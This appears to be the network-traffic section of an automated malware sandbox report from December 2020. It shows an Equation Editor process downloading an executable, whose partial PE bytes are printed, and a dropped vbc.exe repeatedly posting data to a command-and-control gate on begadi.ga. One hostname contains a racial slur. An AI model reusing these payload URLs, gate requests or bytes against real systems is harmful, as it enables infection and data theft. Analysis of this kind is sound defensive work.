Dec 21, 2020 08:34:18.848465919 CET	8.8.8.8	192.168.2.22	0x36e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:19.295341015 CET	8.8.8.8	192.168.2.22	0xcf0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:19.740425110 CET	8.8.8.8	192.168.2.22	0x8499	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:20.202665091 CET	8.8.8.8	192.168.2.22	0xdcb2	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:20.648192883 CET	8.8.8.8	192.168.2.22	0xfd1c	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.093951941 CET	8.8.8.8	192.168.2.22	0xbbf9	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.545727968 CET	8.8.8.8	192.168.2.22	0xf9d0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.984266996 CET	8.8.8.8	192.168.2.22	0x5928	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:22.435983896 CET	8.8.8.8	192.168.2.22	0xcf51	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:22.874603033 CET	8.8.8.8	192.168.2.22	0x3c9b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:23.310132027 CET	8.8.8.8	192.168.2.22	0xb87	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:23.765877962 CET	8.8.8.8	192.168.2.22	0x80c6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:24.373184919 CET	8.8.8.8	192.168.2.22	0x734b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:24.835433960 CET	8.8.8.8	192.168.2.22	0x1864	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:25.289983988 CET	8.8.8.8	192.168.2.22	0x6fa5	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:25.736001968 CET	8.8.8.8	192.168.2.22	0xb236	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:26.185072899 CET	8.8.8.8	192.168.2.22	0x694b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:26.638876915 CET	8.8.8.8	192.168.2.22	0xb0ef	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:27.087270975 CET	8.8.8.8	192.168.2.22	0xb38	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:27.544984102 CET	8.8.8.8	192.168.2.22	0xd747	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:28.019649982 CET	8.8.8.8	192.168.2.22	0x77b8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:28.470670938 CET	8.8.8.8	192.168.2.22	0x617c	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:28.910393953 CET	8.8.8.8	192.168.2.22	0x202	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:29.363013029 CET	8.8.8.8	192.168.2.22	0x7c63	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:29.792376041 CET	8.8.8.8	192.168.2.22	0x5ee0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:30.488459110 CET	8.8.8.8	192.168.2.22	0xa6f6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:31.113116026 CET	8.8.8.8	192.168.2.22	0x1ba9	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:31.554856062 CET	8.8.8.8	192.168.2.22	0xe63e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:32.024882078 CET	8.8.8.8	192.168.2.22	0x888e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:32.765345097 CET	8.8.8.8	192.168.2.22	0x65dd	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:33.223654985 CET	8.8.8.8	192.168.2.22	0x64fa	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:33.679516077 CET	8.8.8.8	192.168.2.22	0x5a90	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:34.262284994 CET	8.8.8.8	192.168.2.22	0x4033	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:34.860109091 CET	8.8.8.8	192.168.2.22	0xfe2d	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:35.622085094 CET	8.8.8.8	192.168.2.22	0x4ad4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:36.322339058 CET	8.8.8.8	192.168.2.22	0xfcbf	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:36.769982100 CET	8.8.8.8	192.168.2.22	0xf28f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:37.208910942 CET	8.8.8.8	192.168.2.22	0x6d7e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:37.691914082 CET	8.8.8.8	192.168.2.22	0x2da4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:38.143122911 CET	8.8.8.8	192.168.2.22	0xf6c3	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:38.605318069 CET	8.8.8.8	192.168.2.22	0xf948	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.042166948 CET	8.8.8.8	192.168.2.22	0x5ed7	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.484519958 CET	8.8.8.8	192.168.2.22	0x19f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.949804068 CET	8.8.8.8	192.168.2.22	0x6bdc	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:40.411335945 CET	8.8.8.8	192.168.2.22	0xed92	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:40.897921085 CET	8.8.8.8	192.168.2.22	0x6d8f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:41.351249933 CET	8.8.8.8	192.168.2.22	0x4c89	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:41.811691046 CET	8.8.8.8	192.168.2.22	0x7dc6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:42.254544020 CET	8.8.8.8	192.168.2.22	0xc3b2	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:42.712438107 CET	8.8.8.8	192.168.2.22	0x84fe	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:43.150263071 CET	8.8.8.8	192.168.2.22	0x5b58	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:43.584795952 CET	8.8.8.8	192.168.2.22	0xb6a4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.036796093 CET	8.8.8.8	192.168.2.22	0x34bc	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.473915100 CET	8.8.8.8	192.168.2.22	0xc12d	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.954178095 CET	8.8.8.8	192.168.2.22	0x5ed5	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:45.429600954 CET	8.8.8.8	192.168.2.22	0x9a94	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:45.901180983 CET	8.8.8.8	192.168.2.22	0xd4e0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:46.319533110 CET	8.8.8.8	192.168.2.22	0x14b7	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:46.761755943 CET	8.8.8.8	192.168.2.22	0x5e2c	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:47.214833975 CET	8.8.8.8	192.168.2.22	0xe624	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:49.678874969 CET	8.8.8.8	192.168.2.22	0x4e4e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:50.124838114 CET	8.8.8.8	192.168.2.22	0xedc0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:50.580688000 CET	8.8.8.8	192.168.2.22	0xeb9	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:51.027374983 CET	8.8.8.8	192.168.2.22	0xbbeb	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:51.576589108 CET	8.8.8.8	192.168.2.22	0x5348	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:52.005129099 CET	8.8.8.8	192.168.2.22	0xfc79	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:53.261873960 CET	8.8.8.8	192.168.2.22	0x78a1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:53.698725939 CET	8.8.8.8	192.168.2.22	0x18c2	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:54.152901888 CET	8.8.8.8	192.168.2.22	0xb8aa	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:54.628766060 CET	8.8.8.8	192.168.2.22	0x65b7	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:55.097997904 CET	8.8.8.8	192.168.2.22	0x7104	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:55.557415962 CET	8.8.8.8	192.168.2.22	0x8aa4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:56.016134977 CET	8.8.8.8	192.168.2.22	0xd2ed	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:56.456948042 CET	8.8.8.8	192.168.2.22	0xa776	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:56.921036005 CET	8.8.8.8	192.168.2.22	0x747a	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:57.370323896 CET	8.8.8.8	192.168.2.22	0x1554	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:57.836646080 CET	8.8.8.8	192.168.2.22	0x980b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:58.287416935 CET	8.8.8.8	192.168.2.22	0xda8e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:58.736073017 CET	8.8.8.8	192.168.2.22	0xe33f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:59.182039022 CET	8.8.8.8	192.168.2.22	0xc079	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:59.643393993 CET	8.8.8.8	192.168.2.22	0x6088	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.095675945 CET	8.8.8.8	192.168.2.22	0x99bd	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.546318054 CET	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.984199047 CET	8.8.8.8	192.168.2.22	0x49c8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:01.415328979 CET	8.8.8.8	192.168.2.22	0x2265	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:01.873703957 CET	8.8.8.8	192.168.2.22	0xbb03	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:02.325675964 CET	8.8.8.8	192.168.2.22	0x59f4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:02.766237974 CET	8.8.8.8	192.168.2.22	0xaa23	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

chnesstdyqudusisabadassniggainthestfmv.ydns.eu

begadi.ga

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	103.141.138.119	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:20.406845093 CET	1	OUT	GET /secure/svchost.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: chnesstdyqudusisabadassniggainthestfmv.ydns.eu Connection: Keep-Alive
Dec 21, 2020 08:33:20.617223978 CET	2	IN	HTTP/1.1 200 OK Date: Mon, 21 Dec 2020 07:33:18 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38 Last-Modified: Mon, 21 Dec 2020 04:54:47 GMT ETag: "8ec00-5b6f241edd261" Accept-Ranges: bytes Content-Length: 584704 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f3 56 b1 8b 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e2 08 00 00 08 00 00 00 00 00 00 1e 01 09 00 00 20 00 00 00 20 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 00 09 00 53 00 00 00 00 20 09 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 e1 08 00 00 20 00 00 00 e2 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a0 05 00 00 00 20 09 00 00 06 00 00 00 e4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 09 00 00 02 00 00 00 ea 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 09 00 00 00 00 00 48 00 00 00 02 00 05 00 e0 d1 06 00 e8 2e 02 00 03 00 00 00 a9 03 00 06 10 56 02 00 d0 7b 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 5d ed 3a 11 eb fd b4 77 bd ed 48 ae 33 e8 90 08 9d 63 b4 61 62 66 1c e5 d7 11 c2 c4 13 13 13 98 c8 89 05 25 1d fd a8 c3 cf 13 08 9f 1f fd 3b 78 3b 78 de 20 40 c3 92 d3 ee 6f 1d 70 92 31 c5 d4 f8 cf ea 1e c7 98 d7 15 47 0b 65 b0 cf 57 d2 e4 40 2b 95 cd 06 51 78 f0 ed 22 8f 42 f4 59 d5 7c 5e bd e8 43 09 b2 95 33 26 04 19 53 b5 08 7e 96 f9 ab 83 aa b2 cb 87 91 e8 c9 2f bd 9d 13 aa 0c 9e 75 76 2f 40 8f f1 69 4d 4d cb 25 09 16 1f e8 f6 27 fc 82 93 f9 eb 09 bd 3d 31 ea 34 7a 94 11 7c c5 29 0d e8 51 5c 0e 4b 55 93 db 16 4d 07 41 7b d8 7c 05 e3 f3 3b b1 12 a4 35 31 c2 46 1b 6c 70 a9 f2 65 16 1c 6e 69 79 11 d3 80 e5 43 a0 a6 d0 11 55 31 5c 4d d4 52 69 86 cb fb 05 de 0a 28 0f dd 89 52 3f e2 88 d5 45 4e 1f 25 1b c2 f6 cf 76 7e 92 1b 6c 80 97 b1 86 95 1f b5 98 23 24 05 1e 14 29 4a 2e 42 3d f6 35 d3 71 ea a4 d0 c1 40 55 d2 47 ee fb f4 b9 10 65 2e aa 63 f1 7a 0b f3 80 fd 84 5a 75 93 19 f7 41 85 57 75 61 29 62 e7 b8 8c 31 c2 f4 e0 60 98 e5 3a 3c 5e 80 9c b2 41 5c 29 7b 97 a2 02 3b d2 d3 e8 2c 0a 06 b4 67 84 ee 32 e9 0a 2e c6 f7 8f e5 3f 70 7b 78 40 1c cb 01 44 27 9c 25 a9 82 65 60 24 78 9c ee ae a3 68 50 b2 13 97 fc 97 95 a6 17 38 4f 82 ef a6 a0 c8 56 5a 1c 15 a6 f7 a5 02 de e6 23 88 63 6b f4 70 2d c2 54 d7 d6 e5 56 60 9c 52 2d c4 74 ae 1f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELV0 @ `@S @ H.text$ `.rsrc @@.reloc@@BH.V{]:wH3cabf%;x;x @op1GeW@+Qx"BY\|^C3&S~/uv/@iMM%'=14z\|)Q\KUMA{\|;51FlpeniyCU1\MRi(R?EN%v~l#$)J.B=5q@UGe.czZuAWua)b1`:<^A\){;,g2.?p{x@D'%e`$xhP8OVZ#ckp-TV`R-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:32.340296984 CET	616	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 176 Connection: close
Dec 21, 2020 08:33:32.529612064 CET	617	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49177	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:36.908483028 CET	628	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:37.104372025 CET	629	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49267	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49268	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49269	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49270	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49271	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49272	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49273	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49274	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49275	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.22	49276	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49178	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:37.413851023 CET	630	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:37.608020067 CET	630	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.22	49277	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.22	49278	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.22	49279	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.22	49280	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.22	49281	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.22	49282	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.22	49283	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.22	49284	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.22	49285	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.22	49286	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49179	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:37.896116018 CET	631	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:38.091372013 CET	632	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.22	49287	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.22	49288	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.22	49289	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.22	49290	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.22	49291	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.22	49292	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.22	49293	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.22	49294	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.22	49295	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.22	49296	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49180	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:38.365580082 CET	632	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
